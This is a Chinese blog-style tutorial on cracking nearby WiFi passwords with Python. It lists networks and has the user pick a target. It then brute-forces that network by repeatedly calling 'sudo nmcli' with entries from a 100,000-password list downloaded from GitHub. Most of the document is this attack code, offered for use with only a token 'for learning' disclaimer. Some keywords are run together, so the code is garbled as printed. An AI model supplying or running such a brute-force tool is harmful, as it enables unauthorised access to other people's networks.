WiFi现在已经遍布我们生活方方面面，如今，如论到工作单位，还是租住的房子，或者一家餐厅，随处都可以连上WiFi。

因此，我们对WiFi密码的需求也没有之前那么迫切了。

如何破解WiFi密码？

本文，将会通过Python教大家如何实现，这里纯粹是为了学习用途。

1. WiFi列表

首先，我们需要获取附近的WiFi列表。

下面，就来写一个函数来获取附近的WiFi列表，函数命名为display_targets：

def display_targets(networks, security_type):    print("Select a target: \n")        rows, columns = os.popen('stty size', 'r').read().split()    for i in range(len(networks)):        width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2        spacer = " "                if (int(columns) >= 100):            calc = int((int(columns)-int(width))*0.75)        else:                calc = int(columns)-int(width)                for index in range(calc):            spacer += "."            if index == (calc-1):                spacer += " "                    print(str(i+1)+". "+networks[i]+spacer+security_type[i])

这里，我们会用到ssid工具包，用来获取附近的WiFi列表，存入到参数networks。

2. 选择WiFi

获取WiFi列表之后，下一步要做的就是选择我们想要连接的WiFi，

def prompt_for_target_choice(max):    whileTrue:        try:            selected = int(input("\nEnter number of target: "))            if(selected >= 1and selected <= max):                return selected - 1        except Exception as e:            ignore = e        print("Invalid choice: Please pick a number between 1 and " + str(max))

这里很简单，就是一些通用的Python功能。

3. 暴力破解

目前已经获取并且选择了想要连接的WiFi，那么如何获取到它的密码呢？

这里要用到一种比较常见的方式：暴力破解。

这里，要用到Github上一个项目，它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。

def brute_force(selected_network, passwords, args):    for password in passwords:        # necessary due to NetworkManager restart after unsuccessful attempt at login        password = password.strip()        # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file        if isinstance(password, str):            decoded_line = password        else:            decoded_line = password.decode("utf-8")                    if args.verbose isTrue:            print(bcolors.HEADER+"** TESTING **: with password '" +                decoded_line+"'"+bcolors.ENDC)        if (len(decoded_line) >= 8):            time.sleep(3)            creds = os.popen("sudo nmcli dev wifi connect " +                selected_network+" password "+decoded_line).read()                            # print(creds)            if ("Error:"in creds.strip()):                if args.verbose isTrue:                    print(bcolors.FAIL+"** TESTING **: password '" +                        decoded_line+"' failed."+bcolors.ENDC)            else:                sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +                    decoded_line+"' succeeded."+bcolors.ENDC)        else:            if args.verbose isTrue:                print(bcolors.OKCYAN+"** TESTING **: password '" +                    decoded_line+"' too short, passing."+bcolors.ENDC)    print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

核心功能3个函数就完成了，只用了60行Python代码！

下面就把它们串联在一起：

def main():    require_root()    args = argument_parser()    # The user chose to supplied their own url    if args.url isnotNone:        passwords = fetch_password_from_url(args.url)    # user elect to read passwords form a file    elif args.file isnotNone:        file = open(args.file, "r")        passwords = file.readlines()        ifnot passwords:            print("Password file cannot be empty!")            exit(0)        file.close()    else:        # fallback to the default list as the user didnt supplied a password list        default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"        passwords = fetch_password_from_url(default_url)    # grabbing the list of the network ssids    func_call = start(1)    networks = func_call[0]    security_type = func_call[1]        ifnot networks:        print("No networks found!")        sys.exit(-1)    display_targets(networks, security_type)    max = len(networks)    pick = prompt_for_target_choice(max)    target = networks[pick]        print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")    brute_force(target, passwords, args)

执行函数，就会在命令行下显示附近的WiFi列表，选择之后就开始逐个尝试密码。

不同的颜色代表不同不同的结果：

• 红色：测试失败
• 绿色：破解成功
• 紫色：测试中

现在，是不是发现这个看上去很复杂的事情变得简单许多？
